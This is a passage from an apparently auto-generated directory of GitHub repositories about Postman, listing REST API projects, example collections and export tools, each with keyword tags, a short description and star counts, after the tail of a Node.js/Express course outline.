Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
command-line-physician/command-line-physician
command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes 		Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. 0 stars 0 watchers 4 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
andela-cofor/Document-Management-System
access, define, document, documents, manages, role, roles, system, user, users 		Document Management System: The system manages documents, users and user roles. Each document defines access rights; the document defines which roles can access it. 1 stars 1 watchers 2 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
cynepton/Udagram-my-own-instagram-on-AWS
application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users 		My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. 1 stars 1 watchers 0 forks
ivangfr/springboot-testing-mysql
api blueprint, application, applications, asyncapi, boot, data, database, goal, goals, json schema, mysql, notation, oauth, openid, service, spring, springboot, sql, test, testing, user, users, util, utilities 		The goals of this project are: 1) Create a simple Spring Boot REST API to manage users called user-service. The database used is MySQL; 2) Explore the utilities and annotations that Spring Boot provides when testing applications. 3) Testing with Postman and Newman 1 stars 1 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
skhetarpaul/project-back-end
arranged, back end, directory, folder, function, functional, rating, rest, restaurant, restaurants, result, search, server, sort, sorted, system, upload, user, users 		This is a server side project using Node and Express.js. The purpose is to provide its users a functionality to search some best restaurants sorted and arranged according to their star ratings. Screenshots of working back end system has been uploaded to *project_postman_results* directory in the root folder here. 1 stars 1 watchers 0 forks
ysyesilyurt/potential-playlist
backend, form, list, platform, play, service, services, user, users 		A playlist maintainer SpringBoot backend that aims to serve services to users as a song and playlist platform 1 stars 1 watchers 0 forks
MojoNetworksInc/Postman-Collections
collection, collections, modify, native, user, users 		API collections created in Postman that Mojo Cloud users can modify and run by using the native Postman app. 0 stars 0 watchers 2 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
jreimao/api-culinary-recipes
design, designed, recipe, rest, restful, user, users, util 		api restful foi desenhada para gerir 'receitas de culinária' e os seus utilizadores | api restful is designed to manage 'culinary recipes' and their users 0 stars 0 watchers 1 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
jjian4/Task-Manager-API
account, auth, authentication, task, tasks, test, testing, token, tokens, user, users 		Create, read, update, delete users and tasks. Uses web tokens for account authentication. Built using Node.js, Express.js, and MongoDB/Mongoose. Used Postman for testing. 0 stars 0 watchers 0 forks
AlwarKrish/Node_TODO-Api
application, demonstrating, integrate, integrates, integration, list, lists, mongo, mongod, mongodb, rating, test, tested, todo, user, users 		A simple application that integrates todo lists with users demonstrating mongodb integration with Node.js. The application was tested using postman. 0 stars 0 watchers 0 forks
binoysarker/lara-api
laravel, posts, stat, user, users 		My first REST API using laravel and Postman. I have worked with the users,posts,likes using different relational statement like polymorphic relation and i also use separate requests and policies with this. 0 stars 0 watchers 0 forks
zhurba-alina/Collection-for-Bugred.ru
collection, postman collection, test, testing, user, users 		postman collection for testing users.bugred.ru 0 stars 0 watchers 0 forks
aking27/FitnessTracker
account, application, data, exercise, form, format, framework, goal, goals, information, machine, mobile, nutritional, order, progress, server, track, tracker, user, users 		I used React Native to create a fitness tracker mobile application for iOS and Android. In order to update and maintain server data, I used a combination of the RESTful API and Postman. Additionally, the Expo framework and Node.js were used to build the application on my machine. This app allows users to sign into their account to log exercise/nutritional information, create fitness goals, and view their progress. 0 stars 0 watchers 0 forks
atembamanu/news-app
application, general, news, test, tester, user, users 		An application that allows one to add more users, add departments, add users to those departments, create news for the departments as well as create general news. The front-end is presented using Postman API tester application. 0 stars 0 watchers 0 forks
ChrisSun99/SeeTheUnseen
assist, reading, task, tasks, user, users 		An Android app using Cloud OCR to assist text reading tasks for users with vision impairment. 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
divyanshu-rawat/Basic-Authentication-Node.js
application, auth, authenticate, authenticated, cookies, sessions, track, user, users 		An application that uses cookies and Express sessions approaches to track authenticated users. 0 stars 0 watchers 0 forks
gabrielmadeirapessoa/cora-users-postman-collection
collection, projet, projeto, user, users 		Coleção de requisições de exemplo para Postman para o projeto cora-users 0 stars 0 watchers 0 forks
harenlewis/api-hub
access, accessed, advance, advanced, application, development, dummy, mock, multiple, server, server., user, users 		A mock server application where in development or dummy APIs can be created and accessed by multiple users. Similar to Postman's advanced mock server. 0 stars 0 watchers 0 forks
john-lock/postman-export-formatter
default, description, export, exports, file, form, format, formatter, path, script, upload, user, users 		A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM 0 stars 0 watchers 0 forks
kurtulussahin/users_demo_api_postman_collection
collection, http, https, integration, travis, user, users 		Postman-Travis integration demo - https://travis-ci.org/kurtulussahin/users_demo_api_postman_collection 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
majdbk/JAVA-EE-Women-Empowerment-Plateform
development, form, news, sessions, social, training, user, users 		Design / Backend development of the Women empowerment plateform, a social news plateform where users can manage and participate in training sessions and give their feedback. Tools: Java/JEE, JBOSS/Wildfly, PostgreSQL, Postman, Apache Maven, Hibernate ORM 0 stars 0 watchers 0 forks
matt-ball/users-api
memory, play, playing, user, users 		Mock in-memory API for playing around with Postman. 0 stars 0 watchers 0 forks
naqvijafar91/blogideas
account, blog, posts, user, users 		Simple blog where users can create an account and create and view posts, Approval can be done via postman by hitting the api 0 stars 0 watchers 0 forks
nelsonvt/iex-postman-scripts
check, client, notify, script, scripts, stock, user, users 		(BETA) This repository contains scripts for the Postman client to check stock prices and notify users when they exceed / fall below desired values. 0 stars 0 watchers 0 forks
nishthagoel99/restapi-shopdb
data, database, login, order, product, products, rest, rest api, restapi, signup, user, users 		A rest api made for users signup,login and to order products and then later see their products. MongoDB database is used! 0 stars 0 watchers 0 forks
param2404/userPosts
check, collection, collections, description, email, mail, model, mongo, mongoose, operation, patch, phone, result, script, user, users 		C.R.U.D operation using REST APIs and Mongoose . 1. Create two collections (User,Post) using mongoose.model USER: name, phone,email etc. POST: title,description etc. 2. Add users/post through POSTMAN and check the result in robo3t.(CREATE-post) 3.Fetch users/post through POSTMAN and check the result in robo3t.(READ-get) 4.Update users/post through POSTMAN and check the result in robo3t.(UPDATE-patch) 5.Delete users/post through POSTMAN and check the result in robo3t.(DELETE-delete) 6.Fetch a particular user's post using its id or name . 0 stars 0 watchers 0 forks
pdebrah/PostMan-API
public, user, users 		Github public users API 0 stars 0 watchers 0 forks
Sayam753/movie_rating_drf
django, django rest, handling, movie, rating, rest, user, users, web app 		A django rest based web app for handling movie_ratings for different users. 0 stars 0 watchers 0 forks
Simbadeveloper/AndelaCodeCamp
application, brings, business, businesses, catalog, customer, customers, developer, form, platform, register, reviews, user, users, web app 		a web application that provides a platform that brings businesses and individuals together. The platform will be a catalog where business owners can register their businesses for visibility to potential customers and will also give users (customers) the ability to write reviews for the businesses. 0 stars 0 watchers 0 forks
TJaySteno/P11-build-rest-api
course, rating, rest, reviews, site, store, stores, user, users, website 		This REST API handles requests for a course rating website. Using MongoDB, stores the reviews users make on different courses. 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks

examples (41 listings) (Back to Top)

DannyDainton/All-Things-Postman
example, examples, select, selection 		A selection of examples using Postman REST Client 285 stars 285 watchers 84 forks
Altinn/postman-examples
description, example, examples, script 		No description available. 2 stars 2 watchers 4 forks
networktocode/nso-restconf-postman-examples
description, example, examples, network, rest, script 		No description available. 0 stars 0 watchers 6 forks
seswho/CyberArk_EPM_Postman_Collection
automat, automate, collection, console, customer, customers, document, documentation, enable, example, examples, form, task, tasks 		The CyberArk Endpoint Privilege Manager Web Services enable you to automate tasks that are usually performed manually in the EPM console. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 2 stars 2 watchers 1 forks
akarneliuk/rest_api_all
example, examples, rest 		Working REST API examples for Ansible, Python, Bash and Postman 2 stars 2 watchers 0 forks
f5devcentral/f5-cloudserviceeaplab
cloud, example, examples, service, services 		F5 Essential App Protect cloud services - Lab & API examples with Postman 1 stars 1 watchers 2 forks
brooksandrew/postman_problems_examples
example, examples, problem, route, stat, visual, visualization 		Optimal route to ride every state avenue in DC: RPP optimization with OSM visualization 1 stars 1 watchers 1 forks
adobe/reactor-postman
actor, collection, example, examples, form, react, reactor 		A Postman collection of Reactor API examples for Adobe Experience Platform Launch 0 stars 0 watchers 3 forks
omise/postman-examples
collection, example, examples 		A collection of examples to use with www.getpostman.com 0 stars 0 watchers 3 forks
rapid7/logentries-postman-collection
collection, example, examples, logentries, rapid7 		Postman examples for Logentries 0 stars 0 watchers 2 forks
Odusanya18/postman-to-slate-examples
docs, example, examples, generate, generated, generator, holds, java, slate 		This holds example docs generated by the postman to slate generator written in java 1 stars 1 watchers 0 forks
CiscoDevNet/coding-101
coding, collection, example, examples 		Postman collection examples 0 stars 0 watchers 2 forks
johnddias/postmancollectionvropsexamples
collection, example, examples, including, sample 		A sample of vRealize Operations REST APIs including the CaSA APIs for cluster management 0 stars 0 watchers 2 forks
commercetools/commercetools-postman-collection
collection, commerce, commercetools, example, examples, setup, tool, tools 		Collection of commercetools API examples setup on top of Postman 0 stars 0 watchers 1 forks
SoftwareInnovation/sif-rpc-postman-examples
description, example, examples, script 		No description available. 0 stars 0 watchers 1 forks
AuthySE/Authy-Reporting-Samples
example, examples 		cURL and Postman examples from Authy's Reporting API 0 stars 0 watchers 1 forks
ChuckMcAllister/CyberArk-EPM-REST-API-Postman-Collection
collection, customer, customers, data, document, documentation, example, examples, list, pull, version 		CyberArk Endpoint Privilege Manager has a REST API for pulling data starting with version 10.7. Available for both on-premise and SaaS customers. Postman collection has documentation and examples 0 stars 0 watchers 1 forks
f5devcentral/f5-cloudservicednslab
cloud, example, examples, service 		F5 DNS and DNS Load Balancer Cloud Services - Lab & API examples with Postman 0 stars 0 watchers 1 forks
inkysea/vRA_Postman_examples
description, example, examples, script 		No description available. 0 stars 0 watchers 0 forks
klimtever/spmia-postman-testing
example, examples, spmia, test, testing 		Testing SPMIA examples with POSTMAN 0 stars 0 watchers 0 forks
Public360/sif-rpc-postman-examples
description, example, examples, script 		No description available. 0 stars 0 watchers 0 forks
stefaniuy/postman-examples
description, example, examples, script 		No description available. 0 stars 0 watchers 0 forks
antonioortegajr/postman-tests
collection, collections, example, examples, generic, mostly, reference, test, tests, writing 		I like writing tests in postman for my collections. This repo is generic examples of these tests for mostly my own reference. 0 stars 0 watchers 0 forks
Carmot/apigee-baas-postman
apigee, example, examples, file, files 		Postman files with Apigee BaaS API calls examples. 0 stars 0 watchers 0 forks
csfreitas/bitbucketapi1
bitbucket, bucket, example, examples 		Collection of postman for examples about using Bitbucket REST APIs 1.0 0 stars 0 watchers 0 forks
deepakpathania/postman-collection-examples
collection, document, documentation, example, examples, path 		Formatted examples of the postman-collection documentation as individual examples. 0 stars 0 watchers 0 forks
eHound/examples
endpoint, endpoints, example, examples 		Code examples for eHound API endpoints. To be used in conjunction with Postman Collections. 0 stars 0 watchers 0 forks
f5devcentral/cloudserviceeaplab
cloud, example, examples, service, services 		F5 Essential App Protect cloud services - Lab & API examples with Postman 0 stars 0 watchers 0 forks
Gourds/postman-examples
example, examples 		一些常用的postman调试例子 0 stars 0 watchers 0 forks
ihommani/postman-collection
collection, example, examples 		Bucket of postman examples 0 stars 0 watchers 0 forks
info441-sp19/postman-examples
demonstrate, example, examples, file, files 		Postman files for lab 3 to demonstrate how to use Postman. 0 stars 0 watchers 0 forks
moedelo/api-examples
collection, collections, example, examples, moedelo, postman collection, postman collections, test 		test postman collections for moedelo api 0 stars 0 watchers 0 forks
NemanjaBradic/API-Testing-Examples
example, examples, find, test 		In this repository you can find examples of how to test your API with Postman. 0 stars 0 watchers 0 forks
nenadjeremic/todo-basic-express-mongo
example, examples, express, folder, form, function, functional, functionalities, import, imported, mongo, todo 		Basic TODO REST API using ExpressJS and MongoDB. Performs basic CRUD functionalities. Contains folder with examples of API requests that could be imported in Postman. 0 stars 0 watchers 0 forks
OrganicityEu/postman
city, example, examples 		Postman examples 0 stars 0 watchers 0 forks
ParisaTork/api-test
example, examples, nutritional, test 		API Basics, using APIs in IntelliJ/Terminal/Postman, nutritional API examples/pros and cons 0 stars 0 watchers 0 forks
quadient/data-services-examples-postman
data, example, examples, service, services 		Examples of using Quadient Data Services using Postman 0 stars 0 watchers 0 forks
rajasekhar15/https-github.com-commercetools-commercetools-postman-api-examples
commerce, commercetools, example, examples, github, http, https, tool, tools 		CommerceTools 0 stars 0 watchers 0 forks
testmonger/postman-tips
example, examples, test 		Snippets and examples of using Postman for APIs 0 stars 0 watchers 0 forks
thandon263/newman-stub
comparing, data, example, examples, newman, runner, test, test run 		This is a newman test runner for comparing api response data to stub examples. 0 stars 0 watchers 0 forks
Xfers/postman-examples
example, examples 		This repository consist of POSTMAN examples on how to call the xfers api 0 stars 0 watchers 0 forks

export (41 listings) (Back to Top)

yuun/aws-apigateway-exporter
export, exporter, exporting, extension, extensions, file, form, format, gateway, integration, json, script, swagger, yaml 		Python script for exporting an API Gateway stage to a swagger file, in yaml or json format, with Postman or API Gateway integrations extensions. 8 stars 8 watchers 1 forks
RL-Studio/laraman
export, fluent, route, routes 		A fluent way to export your Laravel routes to a Postman export. 0 stars 0 watchers 6 forks
smallcampus/postmgn
collection, collections, environment, environments, export, import, postman collection, postman collections, tool 		A tool that helps import and export postman collections + environments 2 stars 2 watchers 0 forks
hanikhan/postman-collection-runner
collection, collections, export, exported, generate, module, newman, report, reports, runner 		Uses postman's newman module to run exported POSTMAN collections and generate detailed reports 1 stars 1 watchers 1 forks
EickeOe/yapi-plugin-export-postman-json
description, export, json, plugin, script 		No description available. 1 stars 1 watchers 1 forks
ubaid-me/soapui2postman
chrome, export, form, format, google, http, https, json, soap, soapui, source, store 		Converts SoapUI (https://www.soapui.org/) XML export to Postman (https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?utm_source=chrome-ntp-icon) compatible json format. 1 stars 1 watchers 0 forks
rwilcox/postal_clirk
collection, collections, export, exported, postman collection, postman collections, single 		Ever wanted to set up or run a single Postman request from exported postman collections. Here you go. Simple Postman requests only 1 stars 1 watchers 0 forks
buckle/restdocs-tool-export
docs, download, export, exports, import, imported, rest, snippet, snippets, tool 		Generates AsciiDoc snippets via Spring Restdocs that are exports for Insomnia or Postman that can be download and imported. 1 stars 1 watchers 0 forks
DoctorWhoFR/PostPy
document, documentation, export, form, markdown, python, tool, transform 		A python tool to transform postman documentation export into basic markdown for Github Wiki in exemple. 1 stars 1 watchers 0 forks
ostenant/postman-restful-api-exporter
export, exporter, rest, restful, tenant 		postman-restful-api-exporter 1 stars 1 watchers 0 forks
pedroSG94/lazy-api-rest
collection, export, exported, generate, json, module, postman collection, rest 		Python project to generate a API rest module for Android using a json exported from postman collection 1 stars 1 watchers 0 forks
ivastly/php2curl
command, convert, curl, data, export, import, imported, tool 		tiny lib to convert data from PHP request to CURL command. Then, CURL command can be imported into Postman with 1 click, so it is PHP to Postman export tool. 0 stars 0 watchers 1 forks
josephbuchma/postman-ruby
collection, collections, export, exported, http, ruby 		Parse & make http requests from Postman's (getpostman.com) exported collections (Collection V2) 0 stars 0 watchers 1 forks
PhillippOhlandt/pmtoapib
collection, convert, document, documentation, export, exports, print 		Tool to convert Postman collection exports to Api Blueprint documentation 0 stars 0 watchers 1 forks
supunlakmal/postman-to-markdown
data, export, markdown 		Convert Postman export (Collection v2.1) JSON data to markdown 0 stars 0 watchers 1 forks
barbaracabral/postman_newman_example
collection, collections, example, export, newman, test 		Exemplo de Testes Automatizados exportando as collections com testes do postman e executando com o Newman 0 stars 0 watchers 0 forks
himanverma/api-docs
collection, collections, docs, export 		Create Documentations for your APIs and export them to POSTMAN collections 0 stars 0 watchers 0 forks
Krishank/API-Test-Lib
collection, dynamic, dynamically, export, powerful, proving, test, testing, tool 		As we all know POSTMAN is a very powerful tool for API Testing this is a Simple POC for proving how can we use postman for API testing, export it collection dynamically and run it from any CI tool 0 stars 0 watchers 0 forks
tobyokeke/laravel-model-export
controller, export, laravel, model, properties 		Creates properties for JS from migrations and properties for Postman using request inputs from controllers in Laravel 0 stars 0 watchers 0 forks
adepssimius/postman-export-documenter
description, document, export, script 		No description available. 0 stars 0 watchers 0 forks
AJdelphix/Postman
export, exports 		Repo for Postman API exports 0 stars 0 watchers 0 forks
bdrupieski/FiddlerExportToPostman
export, extension, form, format, import, sessions 		A Fiddler extension to export sessions in a format Postman can import 0 stars 0 watchers 0 forks
BrentGruber/pyman
class, collection, convert, export, exported, library, postman collection, usable 		Python library that can convert an exported postman collection into a usable Python class for making api calls 0 stars 0 watchers 0 forks
cfitz1995/postman-splitter
command, export, exports, import, util, utility 		Node.js command-line utility for importing/exports individual Postman requests 0 stars 0 watchers 0 forks
cncal/parrot
apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool 		A tool used to parse json file exported from Postman and generate apidoc automatically. 0 stars 0 watchers 0 forks
cpollet/postman-maven-plugin
class, collection, export, maven, method, methods, plugin 		A maven plugin to export JAX-RS annotated classes and methods to Postman collection 0 stars 0 watchers 0 forks
cyberrspiritt/post2Doc
collection, convert, document, export, powered, source 		An open source project to convert Postman export of a collection to an api document powered by Aglio 0 stars 0 watchers 0 forks
eloythub/postman-api.eloyt.com
eloyt, export, exports 		Postman exports for eloyt api 0 stars 0 watchers 0 forks
gabrielpuscuta/expressjs-named-router
export, express, expressjs, named, route, router 		Named router for Express.js with Postman export 0 stars 0 watchers 0 forks
graymind75/Postman_Api_Export_To_Html
convert, export, json, ugly 		convert json export of postman Api Requests to a ugly simple Html page 0 stars 0 watchers 0 forks
hudeldudel/postman-exporter
export, exporter 		Postman exporter for Prometheus 0 stars 0 watchers 0 forks
internetisalie/postman
export, file, intern, lang 		Golang HTTP Tests Code Generator directly from Postman JSON export file 0 stars 0 watchers 0 forks
iovxw/postman-pubsub
export, exported, google, pubsub 		Automatically exported from code.google.com/p/postman-pubsub 0 stars 0 watchers 0 forks
john-lock/postman-export-formatter
default, description, export, exports, file, form, format, formatter, path, script, upload, user, users 		A formatter for Postman Collection exports for file uploads. Allowing users to put the desired path in the description and have this path writtening into the file upload path - rather than having the default relative paths given by PM 0 stars 0 watchers 0 forks
juannorris/django-postman
bitbucket, bucket, customized, django, export, exported, http, https 		django-postman, customized by scoobygalletas (https://[email protected]/scoobygalletas), exported to git from hg. 0 stars 0 watchers 0 forks
kjschmidt913/lab20And21
config, configure, export, exported, express, facts, file, folder, front end, function, public, random, retrieve, route, routes 		A function that will return random facts, exported from a different file. Converted the app to Express. Created routes to retrieve facts. Tested using Postman. Created a front-end for the app (added public folder, configured express app to point to the public folder). Used an AJAX call from the front end to retrieve the random facts. 0 stars 0 watchers 0 forks
pozil/postman-extractor
actor, export, extract, extractor, file, files, resource, resources, source, util, utility, version, versioning 		Postman Extractor (pmx) is a utility that extracts/compacts resources from Postman export files for easier versioning. 0 stars 0 watchers 0 forks
sanellj/QA_Manual_Jira_MyPostman_Collection
collection, export, test 		My: API test collection, JIRA work export, Test Cases 0 stars 0 watchers 0 forks
supermanxkq/export
export, json 		获取postman导出的json数据，分别将不同的请求接口写到Excel中。 0 stars 0 watchers 0 forks
szonov/slim-route-export
application, export, import, play, route, routes, slim 		Display routes and postman import for Slim application 0 stars 0 watchers 0 forks
uniondrug/postman
export, json 		export php api as postman.json 0 stars 0 watchers 0 forks

play (41 listings) (Back to Top)

sn0112358/Angular-Directive-Project
